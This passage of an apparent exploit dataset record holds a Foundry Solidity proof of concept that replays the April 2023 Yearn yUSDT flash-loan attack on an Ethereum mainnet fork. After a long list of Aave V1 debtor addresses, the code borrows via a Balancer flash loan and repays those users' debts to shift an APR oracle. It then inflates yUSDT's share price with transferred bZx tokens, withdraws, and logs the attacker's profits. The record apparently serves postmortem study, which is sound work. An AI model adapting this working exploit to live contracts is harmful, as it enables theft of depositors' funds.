FLASHLOAN_USDT_AMOUNT = 2_000_000 * 1e6;\n uint256 internal constant YUSDT_DEPOSIT_USDT_AMOUNT = 900_000 * 1e6;\n\n address[] public aaveV1UsdtDebtUsers = [\n 0xCCaAa3feCdd625CB4e0EdC2728121011caede655,\n 0xfda180bbadb213Ce91C7D70771031B48bCaA09a7,\n 0x929CB4b2501350dA5a33FDA2F6Fd9C818da65116,\n 0x5fa23A19B37ae7c7CD49db44f459142A586Cc392,\n 0x584495a3F4033f913aaDd0789fe5787aB0852Eac,\n 0xe7a6B9d6EC7CDEA7487D6D1d83e0fB254d7b9653,\n 0x63fB86F437AEe0dad657040563Dbb6bA7CA23d70,\n 0xEFCFbCc6693B137fc2Fb62149a2cc48E1946e585,\n 0x66541D275dA05a8513948a9D0f9547C6FCc62eF5,\n 0x51A23045dB018780dd40C890C62368C187E8d179,\n 0xe84A061897afc2e7fF5FB7e3686717C528617487,\n 0xC96c7536D20808a39FBcE9949B3511E4198290C5,\n 0xf398F0d68A70E5a1C78b03e7CF0F6BE54dA2d782,\n 0x165f1a77C9861b8B943A9B60E9e7503076fD8d84,\n 0x86683cB61BB9EBB8893Db3b82271166879c2502d,\n 0x286a4289Bb294A961BD8a13A9922428b12549f6A,\n 0xa0357704F7B78306f401A03d08d1D7b8a6555AcF,\n 0x67659F1105a093023CdA611B9e3e09151700942d,\n 0xB603318b7Ce72caAf8d54e697349398401CCc5f7,\n 0xb6BF3d48e0808EeF3a5fBc92bB470aa17b67Ee9E,\n 0xb50A98b218968d9D6ec895BE6850aB2807B763dc,\n 0xeB874df4951bA627CFbe85b0CdB79e2ed7Bd30F7,\n 0xFFbC745D5d91C8FC3E2bC6D65256EA596410811C,\n 0x69DCB0A3AB51C7ADaf110e6f119D886989B53ec8,\n 0x81C0fc11B5579EAD5Cfb848Fabec4137353C8bae,\n 0x716034C25D9Fb4b38c837aFe417B7f2b9af3E9AE,\n 0xd09A205a6Be5C053f5D1b0e650616828d6ac038E,\n 0x10dDF9034C607B49C34865FBc548da3906AF19ad,\n 0xFf8151d9A1f7E343546e87d0Abd9AfF759342C99,\n 0x952924e66Af2Bf3985c4364a762dc39F083c984b,\n 0x863A3bD6f28f4F4A131c88708dA91076fDC362C7,\n 0x678308BD7eE9936F4Adb3EBAA5B7C857a5385CC7,\n 0x14077eDFea6bd7C72aDc5e4Ac07C40761B2657ee,\n 0x67b4fD59B100f4E71888441Aa8077718E7d5C9e3,\n 0x50e6e023Ea32d01Ad1E3A1f3D3c1BDD8023D5784,\n 0xD857A1a14666D3857a054230CAe3f363F89e8a57,\n 0xA5A1568Efa0bE362Df9Fe3145F8311509d548BF1,\n 0x11aF000Daa2ba3e4eF88e1152Cba860b24031C23,\n 0xAc9c254c2f38d6350BcaAC3a9c97A6f80ED73451,\n 0x231a19C04c6B314A395c915fFcf5d49e1E95cc34,\n 0xE48500B4617e1Eb26c888b2c97Cf9055DBc38c16,\n 0x8d8D912Fe4db5917DA92d14FEA05225b803C359C,\n 0xD2c3d722E9fBa408CF33A0aBE0c3903419a5bbda,\n 0x14796E88E8EEa7fE5c0dE48a4bb74B9Ef2526035,\n 0x56850f01f997A6FAE6533cFFcd036CC6c0D659a7,\n 0x20316E8a4818326a504BbBF96D476d6C94b1C4B2,\n 0x009b080e90c67d93F292565873227fbCFd59EE12,\n 0xf78c3E7b62c1Fb5C82BB83E88B636819d0F202c5,\n 0x5C6f0E48e9eb6A8CDFaf4F00234bD8727a363484,\n 0xfa811980282dF5f506474A187cfbfF449092e2C1,\n 0xAca60b2e00BDCFE4017768D685D0f6dbe8B87E69,\n 0xBea7ca7400fB2fb67b8CdF21E5640dD17745CAf8,\n 0xBC67e6C2de6e9df08c59FC7EC16D2cC81449c3BE,\n 0xc47E52bC5E399A374d942460160449f59F12AA16,\n 0x073C841e832b7CC2e75d0FB1F8a98DCa355Bf485,\n 0x64329fAF5Cf37C0A0A168b16c7d11c3b2b294bb3,\n 0x308FfFc68707323D6746d57Fd3EBf5C01fa702A1,\n 0x1F0aeAeE69468727BA258B0cf692E6bfecc2E286,\n 0x00450992BC72AB99Ae55BcCdcE68E160412fdaC0,\n 0xA71fA3312ec97ADe31B0b652ce199762083fdc62,\n 0x5b5688bD28177eD97C27fE167F0aba3e02bF50e5,\n 0xa5E5cfE3a0bD7148A85d46edD5c90fd9cBf614c0,\n 0xcbe3958bB4C7122f3E67E481a5edd89277921E25,\n 0xBb5BEA6880cE3A0eB4E0ced19aCe5E64A6ed960E,\n 0xEB50840CdecB7DF40FA9fDB435922071865b65BE,\n 0x618A9Df7c2Df1567583EB03926472Ffd7FcE5423,\n 0x6fb1Df77f438b4d97053aE71F1A33245B0864F45,\n 0xE9E143978494e75B2B46E0264Eae51D703B9DE4e,\n 0xD41e5C84141280f31b6e06247397089b62432Ed3,\n 0xb01624140905fc2642E7b942fA3de24B8F51a3c5,\n 0x05fe314D744469227bD42c36ae435c5602307D14,\n 0x549224E2d7aa5B761277425427e0A137278E5E95,\n 0x8274561364955E31D66b48a4616D139F06884576,\n 0xaD346C7762F74c78dA86d2941c6eB546e316FbD0,\n 0xb622EBEB511b91b19B4C0470c9D77220C31012bd,\n 0xEbDFd63f69A5ee9F31897938B95c9accd430D5BF,\n 0x3c4C616B12F5bFeeC09A5ccd996B6Ee778855735,\n 0xf34Ad271047697d13CC9a984BadC24019D371e13,\n 0xB99c097883d7e037895C339ce14B3251eAd70279,\n 0xeFad6FB4074f7445955fB8D1B5F8fA1B24B6e245,\n 0x1EDc1E945Ae0D7e142Cc0138500837A1c4445464,\n 0x92c42259d26405CEa2AA1E8258fdacF5204da5dc,\n 0xb222C27b2999D73ABcE3115bf400861e48BF1f32,\n 0x28691DaAed65fD5617597DFa19710209Fef2FFC0,\n 0x4f7D7FEbcE2896C44A667B8b785cdF32B01154f0,\n 0x614608F5b513e1e6B337aFD162DA9935D0215B7e,\n 0x6cD5Cf02B1f7089813a3309102Ce902bc58AA317,\n 0x0C7CD0c75fE9fE9937633190E8d832aF1Ab5A467,\n 0x1A26718a51074976d05C59a3C512f4994c88321c,\n 0x9C75A0E4Bc1f05ad7DA5df534F96872Bf3E14AfD,\n 0x1aD8F000063ffC26385bf341F0063d680B4f96f4,\n 0xEf8a47C8Da817fb5a9be047E2d2E30e964AF4341,\n 0x04EB04196f16D2D87155C4E5ed4E782C7Cb1bBD3,\n 0x2aF8901ef369D1029160A3e4F48118535830dC2d,\n 0x9cC53761302093cd4a107769586C7750707a3E3e,\n 0x8aa28f14fcEE3aE12Ef3539C00327b6D4e7dD602,\n 0x9F9EBCE72C0715CdbAD4d589986EB22F6782A1CE,\n 0x663694857eb8a7432559f5C099A20bac59287D3a,\n 0xEaa593aDE3570a12E9C68522BAE65278a45e41ec,\n 0x864e9eF223C2Ac3F57bb12389bde47CB49D018E8,\n 0x8d05F4950832EF0909bcbC9Eb48Bc779214f631C,\n 0xC010CCFEdf9FF2Fc96Aec5Cff2E3A81b306F7B5e,\n 0x1E261584C9f29E1e00920561e59BAA0C77289765,\n 0x6E90Fc0e1C03CCFaFa6275AcA82b2D7ef67241f7,\n 0x107FE2152EE2f585711a6Ea58f755d9a3b8eF119,\n 0x25729a66D3f954C0c920b79F81a40018D4F64Dc6,\n 0x482562904a8990c55d7D58Ea318BDe477931a168,\n 0xb01F6c7c4e78a6C5f3F9Ec3e35D1B849d079425C,\n 0x294dD9107B72AE43366cFc704487AC2d587e325F,\n 0x9F3C2254414c852b83C727B257b6EaB9418cF914,\n 0xFB50F47D1aA75662d199A8cdcbbeb0e8D2df17b5,\n 0xC20f93173E270eCf5F05C72596b4B7BFC020788c,\n 0xC67fBD493097fB241EEb8500E8D7aD412B0C463a,\n 0x5fe0c4d3bB3d2dB4D9fFE6cd6b97e890bc052B5a,\n 0x15D2B4F3E004a88a909021B6C7801b6aD0200c6D,\n 0x23A234303C552e8145D069dADb4D73a86EdBfE42,\n 0x556C9Cc9C366a4c37EB014D5273861bB543f9f14,\n 0xF8298fCFA36981DD5aE401fD1d880B16464C5860,\n 0x25E80691C89cc8F25Bb832a3Ff2d656b071f70Eb,\n 0x7fB2fb92eb46D757D9CAe1506571C29964B8dc96,\n 0x6c40B85434C4b0e7fe7fD080266A8C501eFFe3f1,\n 0xcFA6A349a1e9c5f3bF109D5F00232F3855004567,\n 0x671bCe52d3f74fD014C4F294a8e2d00C02a18E36,\n 0x19B39B2C227116531f2DEc9D7282374f1bB4041D,\n 0x623F0039838B3512F3986fE65158fBBACc1B813C,\n 0x9dEBb56C9F73f8255e179c1BA9B7fBF6C422e866,\n 0xD70B7Ea3194D5538c5C9606E2063f97c677e22d4,\n 0x3e351D59929B7F4FE174A29AD285C11bfc528bBf,\n 0xE5F10E386f758b3770B9B87ae8e5433DD42CDF7D,\n 0xB3866f8b4Bf5A9Bf6C44823E2795f9592a287CbB,\n 0x837b764F2Ecfd979c948361804915D68DB926a49,\n 0xEB13217fb0f918be08a5b9770e08c271F08Ed449,\n 0x2487f3497706dE6bcd0B755435014f0aA170BF06,\n 0x8ed591ff208E9116D558B15C34BFD9C2562b41E4,\n 0x1D3643399e5534dd49f2B04F2f0615153bd209fd,\n 0x381712d37b333164aEe06f26293a45339359c140,\n 0x11a73c4fd819EbCaD10dB9D212f8471ba8A5b646,\n 0x51d3bd23A4FFD9C0e4305E2D27d4D9f55D3cE7c8,\n 0x6c068858140829F7fddD7907bCa518e6b97c7274,\n 0xF86cd7b665D9fd08017978852c0859DB07748356,\n 0xeaB8AA960Bed683BB31895D802dD71cF6aee4545,\n 0x9afDa15071686B4131fcA4F8ec5950f69849eBD4,\n 0xEB27Ae58D1980D4c5726409c88Aa14e9dd733fc0,\n 0x13eCfdd96A4cdc95CFFCFc1B6CB6C42D9FB673AE,\n 0x3F66b19b458E8d823EC2aA8A243938Af8CA374E2,\n 0x38C96729CBc7AD2467cb43fb86509BA7Da010F27,\n 0x0eFB605dBB1F99b65D020cD0A672CA3d0f92D4A8,\n 0x02EAA99393e802FaE56BC7f66634DDb4757a19F0,\n 0xeE61bfBfa070384C4b2c0bD5bf15c7Cb82AcFf5a,\n 0xbDE61412Ca9f899239671118Fd1Ec99E70195de7,\n 0x90B30F9387d67A1F722A600029D2F7615c2e0e70,\n 0x819B4974cf21F7f261279fDb8Ec01eBC8629635B,\n 0x0db15b403AE023b1C9B07e95D9294710514292aC,\n 0x568B34F34ABdc7F1D9D388c09020182E90EEa4B4,\n 0xB3CEc0AdF54A404146247eB7A63083C9b9E65675,\n 0x8667DC23FfEb3467a3a15720AB2b9A013bc0db01,\n 0x39D637737Cc76C5849a52c7D3b872a1Eb22Aa71c,\n 0x43E5959343CD9154080c235C16fBB4bBd7F83E70,\n 0xb52d61cF08C7528F456234234C65bda96f49080c,\n 0x334ca9Fa33B2560a0fC6CDB2E5B95A28EA3005ed,\n 0xB4AE18A0EEBa9448e5257a82c4347cBd655e84b2,\n 0x335247C96C09EEC2b86f88Fa09A217777a3AAebB,\n 0x0AAf72DA643570Da1bF76E8b3063C3f378b3D3D4,\n 0x1eC0Ae8b30c0347Bc2F579a076aD3DBa2960E560,\n 0x690485ac4dB3EE87E9f6529840ab81400FfD042c,\n 0xd8f9eC757fd95Ca40Ea1973CCeA1D66a32a812dd,\n 0x648dB0fb67efa4F23ACE47e3e1Da273E001ADF8e,\n 0x3cc542c4198990bcD1C98bc6af99865DCEEBc6a4,\n 0xd90dd2CCbbf202e229a6f0186b76F7758778D2bc,\n 0x86FD9b8243abB944bca16E69344756FD2501CF45,\n 0x7cca75755730512f0b244dE4D19ac499BB0E901C,\n 0x63338AeBc72Fc70Fb6a1327F7C1420cbDD9361E4,\n 0xCF2db24e539b9d7Ae55862409F8CcFeCB0267668,\n 0xa33DbcB9aA351f656BA954c77Ff004f71AF2B725,\n 0x1dd3feC0B54FeEa4B7b967E176496c353d602Db4,\n 0x5Dcc979c0E3c12261F73c07AD90b909C5F8B95Dd,\n 0x538DeD4D0d461206AE8E0c021d5179D3a31D2b12,\n 0x9Ef649A03ee6c83f12BDB9e88293b607FF69575f,\n 0x5e0a088942EC09C9Ea98aE237625f063A3BeD237,\n 0xAb4dBA7D9D2f650c5516cF3E0f9187E8D54A075c,\n 0x8ca7ED9b02ec1E8bEee868a32495Ed5b157eeE08,\n 0x68b7a8D734920b3906dD826201a3DC4c94D10F01,\n 0xc9540Ac5e0336910AECAF67Fe86482DD709f291e,\n 0xc607B038b2Aa9dFB8344635C5d90cE78D8D4A89D,\n 0x9Cc74Fc95F4ABEca2398c27C7465542Ea7f7639f,\n 0x8Ef75caE3A505f0Cba89B9257d57e35742c17D04,\n 0x13b3Eb7758A7CFAe23cD2aADA7D23566f02614DF,\n 0x768867f0e1EBa753Ce526C26cB4979116a844Ca0,\n 0x0675182195661f8FB984F61c98842628382702A0,\n 0xD9A55Dc1937E504971e75181be9dEb82ee273fC8,\n 0xFCeB09c56a67800827Aa1Ca671488E5F4589de8b,\n 0x70bef05BbAF710bc6A3a278b00109f4a1b8DeA48,\n 0x0D1C2d885B5a5841e9304223fAb0C6138b5fed81,\n 0x56bb46dD796f90e23A87721465baEeDD257Be6F9,\n 0xDBfdD975CFe231cBeEFde1Ec0bcB2CB28BCca063,\n 0xfd0069BfEE8017a9056987bfEE2A1FED4b267b5A,\n 0x229Aa26280E5b22D856d3A9112FAbE5f724e603b,\n 0xB98FE52B9d7Be52270ff6fB21d04Ca2F160E56bD,\n 0x68E48c7A395B5431bAd9093b15558Adc46D0fA7B,\n 0x3dE6A79c8d6Be555e13C0816c78141329842B386,\n 0x8764C54E16304A26cd9356635431ce9a709D634C,\n 0x3e81e51Dc494396E01404c7cca1c9F30DFd661F5,\n 0xF2962c0d490a243FBD6C66A199517f0fFb5cA185,\n 0x04bF2B4D95163D4Be53f1F1A7DC8FF21968e5d62,\n 0x1882aFaF3D2E3aFbe6Ff1A4249dA911495972bf3,\n 0x2b021aFa5EAb3d8de29Ed8210b33122d0A44fA1E,\n 0x7689F17560b5eE53799f0b37C975927E1258fbB5,\n 0x1acA957104d5a19280AD91F720dEe1fddf9f358b,\n 0xf28225edafA505a8bCF1a034442C89e0675fCa24,\n 0x7f81256C9b75F37154298DE82414cb7F394249DF,\n 0x5247E060a978D2a7b39029cc39C9c7cba15dea16,\n 0x30F837CB95BD29411a58b77A539B021f57749dAD,\n 0x304B9AE195211778778d0Caf07937b11929BA58b,\n 0x2dc84Df1AC33684eB2938E398Aa79D439114B17b,\n 0x76aFd547c5178D1B9b7A4123e298c39f49884E39,\n 0x85162b355EEE83eD8d29c3caDA25B80cA86e80d1,\n 0x5B58889678fE7641ba90e90E6a42dc6A0AaB7335,\n 0x8F0942C2b24B4BEEeE056e801D87C7567d0c864A,\n 0xC2A8728496Be486950Ab1754B8C7fE23F99C05A5,\n 0x5198B654168c4b23844E8797A8cb4975Be6834B4,\n 0xBBcD13Ff937E312e476Ea29179E1934cE3162078,\n 0x5c7Efb1067eF301046F25210720c161490017a8A,\n 0x7Baa4186DCeD1d3b2984Dc96431c4Af8534D659b,\n 0x7578677c420B5505cf2AdF6ABd3Dc29e6268c5b4,\n 0x91695c3EF22E1Ea87501a80B966d3b7f79c78050,\n 0xFf38a08048015E62177b7f137cDb65B4b1ed91fa,\n 0x752f6B0BC8E3ad5bE605D356C03F6F42F41574Fb,\n 0x1e348B2185e0018C8CdD4b003B55437E8F644431,\n 0x6a7904F0ba2dED9c41a8B03a36b3880c174a5597,\n 0x4D373f91176f17c825487091d50cb6760F934797,\n 0x22ED8d070Bc14A1213c845314AAD7b28b7924ee1,\n 0xA98C3f80D33bd0f35C4B37D7777d64D651544b4E,\n 0xa7CEEb709F34019a4306e21B538cD1c06b88038e,\n 0xE0f96162b3dD3AcE2BA1a8b3c964F32ae2a04b11,\n 0x647E43A9fc3c0cC5bB77358d2c0FD236C752B512,\n 0xeBEBc6b04E844Ab5498f29b1083B11d06249aE83,\n 0x09d3D3B086257940CCf4D7CB20A3e580730AfB80,\n 0xfA4FDc9849De525E52783A7A6A11D2f5fe8A3060,\n 0x77c2401Ca6eF5a13fE062102fd59eD4070a55C4D,\n 0x42Cf853738F773DafFcc0B74936E72B44699C1BD,\n 0x97E63Aafa1ef71EDE6c4648ee5e855B54569ab20,\n 0xA595E168ebF3cDa469C0886df9afF2C1A1005922,\n 0xAEBdD57C119dfa0DC86018cfc5bC6fCf9ff6Dd45,\n 0x7276fCE3Bf648aB2E4b83cc77A4Fd1bD3B28E2f8,\n 0x0ebcBeDC8D8498CCD1013B84db583358604D3F90,\n 0x1D446d0B05AC66Bf6F4729b50f71Ef4f10A4c554,\n 0xA38D1A0555287cc7d15e98B5d3aEA30Aedd08fD8,\n 0x63735167b3862a41524A833D11bb14D18E72ca79,\n 0x6d36cCDa61370f1401590F9022fFcB5b71af6142,\n 0x8Db899678B80Ba29D5C5634905F6e68c8c259a77,\n 0x427F9c90C4A3d31287d424139B2A36535E5184B6,\n 0xEA5b95196e8D89aBC3Da571B4B5a3d8478Bcdd1D,\n 0xa50b080F064E22b990776c90D004b0aF843a4Cd5,\n 0xBa49c31C9EBBffa150aCa2BB02aC7DFcf24d4BE1,\n 0xabab0ae20dDe05D20EFdA6063915B327e93721f9,\n 0x222b1E66858DB35c7F86509625D4885121FC30C0,\n 0x6f08A6A445F41d65A19858e98d8C98f462a30b73,\n 0x56D1C1Da59cFdA36d5FCc64eD7a979f9fE2617F8,\n 0x8112a46619829277352f46c2323f64809DC396A7,\n 0x3278776fdb3a3d786c93f3BFbCDD5862aA49a7Ef,\n 0xC3c2e1Cf099Bc6e1fA94ce358562BCbD5cc59FE5,\n 0x67Af302e2F1125a9A91c61E6e8CDcCBda23191b0,\n 0x15D2c48F4552A6C9519cc89c49E661e1Ed30B80b,\n 0x9e77162D6e50e6d8BdB5E0de7dA8653e21F63350,\n 0x324D4F9d245060cC29AE2417033E883FC6784AF8,\n 0x5a230aB790ABd2771E2448B49E63e16b8032d5e9,\n 0xBD186D41F6C2D1BD6EB56A7eeB2B45B97b58E31b,\n 0xa90813eA4dE6df92963113ACAd39E675b09Ded5a,\n 0xE469552F50e735f2D5eBe72a36de0a8248e88e1F,\n 0x9e22eF6fD72CFc0CCd39eF65E59b26924083eF38,\n 0x0202fb82B2C2e8b6c338882eefC6751e7956686E,\n 0xED1E2B03928C17dC1782d846CbC48659f3a31bE4,\n 0x285CBeDEF8B3602553ab465a35516af5c962fA1E,\n 0x22AF60771D0ea607557FFb58DcD50B4778671384,\n 0x0F32824238bcF4aD56dCa68B779657e7e8e732b0,\n 0xab8a63196acad2A365cD2aBCD1A9911Fa66c7Ce6,\n 0x913466dbD152D003B78E65768eeB89c9Ed4Ee5B8,\n 0xd3e70deB764B72DCa712eBa2d419988501f01cFE,\n 0xB11D91B7630230894f63b469709D63887e3b5fCf,\n 0x5d5d08393e5bC93078F83a6a0B9077b474B9bAD4,\n 0xAfa76704baad5aEB771C122cf1AA828524Ea7803,\n 0xe3B180caCb2549F54b2e142a7e04fc1872Ab11B3,\n 0x8419D7ddD58607510EbE98626b76A7BF853b19e2,\n 0x5728a6345c8be559d9d5465Cfbf0C2B2384d41A7,\n 0x4b8A718F7FA74e969a333BfFf9021bF217C7A5E5,\n 0xb98ab698423c9a0a1774d0684e13EaAc58bBDBA1,\n 0xDAbbEb81d83Ff9c2A83E4df1f716e994B30B47Fa,\n 0xa8B941C709FDbC5ea9D2886158044e2B7F068Ddb,\n 0x4fE345A9aeB00c12F87280651978c0dCf8f68096,\n 0x8BC646D9C87396D81Bc42485984b48937Dd2280F,\n 0xdC7D0D897e1B7998c780D16b3C08482A74e71F33,\n 0x354eF9A0cb7aD571E039221E0ABB505b3da69598,\n 0x44B5f2Be03C8aEad6a33a183EA603E4442CCFF24,\n 0x9502741EEeaAbae617F7C3840434Ae9A1F51c440,\n 0xcC16c82F55114a53aa3B41c4A31Dc3c2682CE375,\n 0xBBCcf6CaB5b3AEC26b0CbC6095b5b6DDBacfd59a,\n 0x9FF5146D1Cef23741133200514d27EC89Eb5f4AC,\n 0x852E9278f76aAD35f9dAAe25fE89c7514cf29A78,\n 0xbf2116D0a79da0E5710Df8AB00eb20415bCA94C8,\n 0xb4c8CddC137f46348231C937C4d36B643320af22,\n 0x1bF6Fab552827C844a639283214d79b1002efc45,\n 0x0c49209DEe1B14A8d36f51446f581680CB777114,\n 0x8d54EB6815574bd426bE06f9748d8b5b6638C61a,\n 0xdd3745287A5f3f87fb3964ee32a4b1a64e6fcFa4,\n 0x58F7f1447f5cbaC809E8870333754455243c8760,\n 0x295790f201ADcd1712394CC99bc49391D72CA923,\n 0x52bbb9C9412bDBf23444498Badd15Bf76E531E66,\n 0xae61a0e517B743DA4eC90f27a664D3D8643F46E2,\n 0xc28E21B841487f6a50ACbae4D09D7F4d4D012BCC,\n 0x3DEB9C1966F8dB9f8DC8189e3Cad8E55e2378338,\n 0xc5a61D56CA395FCB87f148532369595E31286d0e,\n 0x0D80B3000b3170F83602190867c905b768dC1Cc5,\n 0xba9372513C59de78CB0Dc38F73A7741478816715,\n 0x947c8b3deb1014774850Aa8864f8Fc568CcdB3af,\n 0xbC577f62fBc443219dF98f35981ACDD966178Ad1,\n 0x0453E1Cbb8e2379A038e804660ce43d07b339dab,\n 0x2602cda64237b42a8c90c33bD7074EdD1f4c0707,\n 0x9F6A73FC24c93A58113c51Fa42dBe64905BD4C4a,\n 0x41590Ca7AeDe20945014f63e0Af704c5b5AB52eb,\n 0xda874F844389df33c0fAD140DF4970FE1b366726,\n 0xb67F1976A1E7AF8972c06d03465CCa14698C82B9,\n 0xa5c07B2C9D55De33D3b9d9bf1C36A8915140fD4D,\n 0xde5A9eC8CA1DC78e775E1Bb6b1e7BCc958534Baf,\n 0x706c642De05dC82380d884C9213c205b18CE8cB9,\n 0x2FA5114AB48ADD8EF16B2E1B657199Bf943E766F,\n 0x022a29ebE2Be30F0c7FfC7dC9C51fFd3714762d0,\n 0x06Ee0E909F0279CFe2794A6590527ca3E6b73FFB,\n 0x0866dEedF98FB951db0e03aA1b3121B511CE808D,\n 0x94E70b76Ea709E33f2f41b35Be0f2F1D94cE799a,\n 0xEe3a4aD02eD31f6Ee8c3B6b3335A71fA997e28E1,\n 0x6fEc03305fBF8F8Ac4e8E589Ef2812a0C11BB2c0,\n 0x7644972C02Fbc91eD2FD5eE0BB7B6Bb3d67e7ffd,\n 0x6f2d3E996b0493453357839985Bd54ED9FC9151D,\n 0x18D1Cd1002A96FA1a5ccaa9983e9Ea3DC51eC92F,\n 0x2471a0dc634c8961719e4Ad5bdb7e401f5d09BBc,\n 0xb53c7b5c6E8204f8b61f4CB91632D6287f1b757c,\n 0x19EDB253d915fC2d0608F4A885EE285dFf2C7ed4,\n 0xCC2Aa1aD65dee9D2B936D69b62bf75f908B1ebFe,\n 0xdBc58c91bFfDaB3c7894d86AcB11BA938C456b93,\n 0x91D6E260A5965a3C33D5Bc4bf4ADCF96C449ED2e,\n 0xbA8ec79997bf5010D68c082663a311B24e618a64,\n 0x5d6cA5d9838Ef551bf4c52b8A47B69B60694F1cC,\n 0x32D7276155f95912c714dceF0Dc16b10cfc0594d,\n 0x8D9BED65B4Cd3Aa13212577c2d9412446F22FcF0,\n 0x7Be1f3e4ad6A254A1bCd3d9DfFa78C2A08F14378,\n 0x0088fCCe2694eA96Ad417441A61913c41e90f176,\n 0x48e0568ed2406176e61c15FeBdFD6F0c81A84eE0,\n 0xD3EF22C162281F10D3683ED1d44FaD40814F395d,\n 0xc504c02cf3201199bd7961d6569b6cD6Deb672BB,\n 0xF29de94cfeb49852453B82905aF368DEb7Ac377e,\n 0x35d04f4F70f39D402Ba2c2A93180E700b0a5611c,\n 0x20a039E4906bBc7767589EefC191Fa6aAf8Cf06E,\n 0x58fb797fE7C1D578d8deac552662101843eF0C4f,\n 0xc550B7d0f722aE0Ddd986e4EDF75F106bDdb1499,\n 0x3E4a1aB95c12b0D48B1B720E563E812B466B3fD8,\n 0xdFBc9D61aC333255Ed1d63DE1bC7BF2cb4643A2E\n ];\n\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IUSDT usdt = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IcurveYSwap curveYSwap = IcurveYSwap(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);\n IIEarnAPRWithPool iEarnAprWithPool = IIEarnAPRWithPool(0xdD6d648C991f7d47454354f4Ef326b04025a48A8);\n IyToken yUSDT = IyToken(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);\n IyToken yDAI = IyToken(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);\n IyToken yUSDC = IyToken(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);\n IyToken yTUSD = IyToken(0x73a052500105205d34Daf004eAb301916DA8190f);\n IAaveLendingPoolCoreV1 AaveLendingPoolCoreV1 = IAaveLendingPoolCoreV1(0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3);\n ILendingPool LendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);\n IbZxiUSDC bZxiUSDC = IbZxiUSDC(0xF013406A0B1d544238083DF0B93ad0d2cBE0f65f);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"mainnet\", 17_036_774);\n }\n\n //tx:0x055cec4fa4614836e54ea2e5cd3d14247ff3d61b85aa2a41f8cc876d131e0328\n function init() internal {\n usdt.approve(address(yUSDT), type(uint256).max);\n usdt.approve(address(AaveLendingPoolCoreV1), type(uint256).max);\n usdc.approve(address(bZxiUSDC), type(uint256).max);\n usdc.approve(address(curveYSwap), type(uint256).max);\n dai.approve(address(curveYSwap), type(uint256).max);\n yUSDT.approve(address(curveYSwap), type(uint256).max);\n }\n\n function run() internal {\n address[] memory flashLoanTokens = new address[](3);\n flashLoanTokens[0] = address(dai);\n flashLoanTokens[1] = address(usdc);\n flashLoanTokens[2] = address(usdt);\n\n uint256[] memory flashLoanAmounts = new uint256[](3);\n flashLoanAmounts[0] = FLASHLOAN_DAI_AMOUNT;\n flashLoanAmounts[1] = FLASHLOAN_USDC_AMOUNT;\n flashLoanAmounts[2] = FLASHLOAN_USDT_AMOUNT;\n\n bytes memory userData = \"\";\n\n balancer.flashLoan(address(this), flashLoanTokens, flashLoanAmounts, userData);\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n curveYSwap.exchange_underlying(0, 2, FLASHLOAN_DAI_AMOUNT, 1);\n curveYSwap.exchange_underlying(1, 2, 3_000_000 * 1e6, 1);\n\n uint256 aapr;\n (,,, aapr,) = iEarnAprWithPool.recommend(address(usdt));\n emit log_named_uint(\"[INFO] Before helping aaveV1 users repay their USDT debts, APR value\", aapr);\n\n repay();\n\n (,,, aapr,) = iEarnAprWithPool.recommend(address(usdt));\n emit log_named_uint(\"[INFO] After helping aaveV1 users repay their USDT debts, APR value\", aapr);\n\n yUSDT.deposit(YUSDT_DEPOSIT_USDT_AMOUNT);\n\n uint256 amount = yUSDT.balanceAave() * bZxiUSDC.tokenPrice() / 1e18 * 114 / 100;\n uint256 mintAmount = bZxiUSDC.mint(address(this), amount);\n\n bZxiUSDC.transfer(address(yUSDT), mintAmount); //Raise the price per share\n\n uint256 sharePrice = yUSDT.getPricePerFullShare();\n emit log_named_decimal_uint(\"[INFO] Transfer bZxUSDC, increase the price per share to\", sharePrice, 18);\n\n uint256 withdrawAmount = ((yUSDT.balanceAave() + yUSDT.balance()) * 1e18) / (sharePrice) + 1;\n yUSDT.withdraw(withdrawAmount);\n\n yUSDT.rebalance();\n usdt.transfer(address(yUSDT), 1);\n yUSDT.deposit(10_000_000_000);\n\n curveYSwap.exchange(2, 0, 70_000_000_000, 1);\n curveYSwap.exchange(2, 1, 400_000_000_000_000, 1);\n curveYSwap.exchange(2, 3, yUSDT.balanceOf(address(this)) * 100 / 101, 1);\n yDAI.withdraw(yDAI.balanceOf(address(this)));\n yUSDC.withdraw(yUSDC.balanceOf(address(this)));\n\n usdt.transfer(address(balancer), FLASHLOAN_USDT_AMOUNT);\n usdc.transfer(address(balancer), FLASHLOAN_USDC_AMOUNT);\n dai.transfer(address(balancer), FLASHLOAN_DAI_AMOUNT);\n }\n\n function repay() internal {\n for (uint256 i = 0; i < aaveV1UsdtDebtUsers.length; i++) {\n (, uint256 amount,) = AaveLendingPoolCoreV1.getUserBorrowBalances(address(usdt), aaveV1UsdtDebtUsers[i]);\n if (amount != 0) {\n uint256 repaymentAmount = amount * 101 / 100;\n LendingPool.repay(address(usdt), repaymentAmount, aaveV1UsdtDebtUsers[i]);\n }\n }\n }\n\n function testExploit() public {\n init();\n run();\n emit log_named_decimal_uint(\"[End] Attacker USDC balance after exploit\", usdc.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"[End] Attacker DAI balance after exploit\", dai.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\"[End] Attacker YTUSD balance after exploit\", yTUSD.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "YearnFinance", "date": "2023-04", "file_name": "YearnFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "903cfd74c4cf2458", "collected_at": "2026-01-07T10:59:16.547502", "_source": "postmortems", "chain": "ethereum", "block_number": 17036774, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": 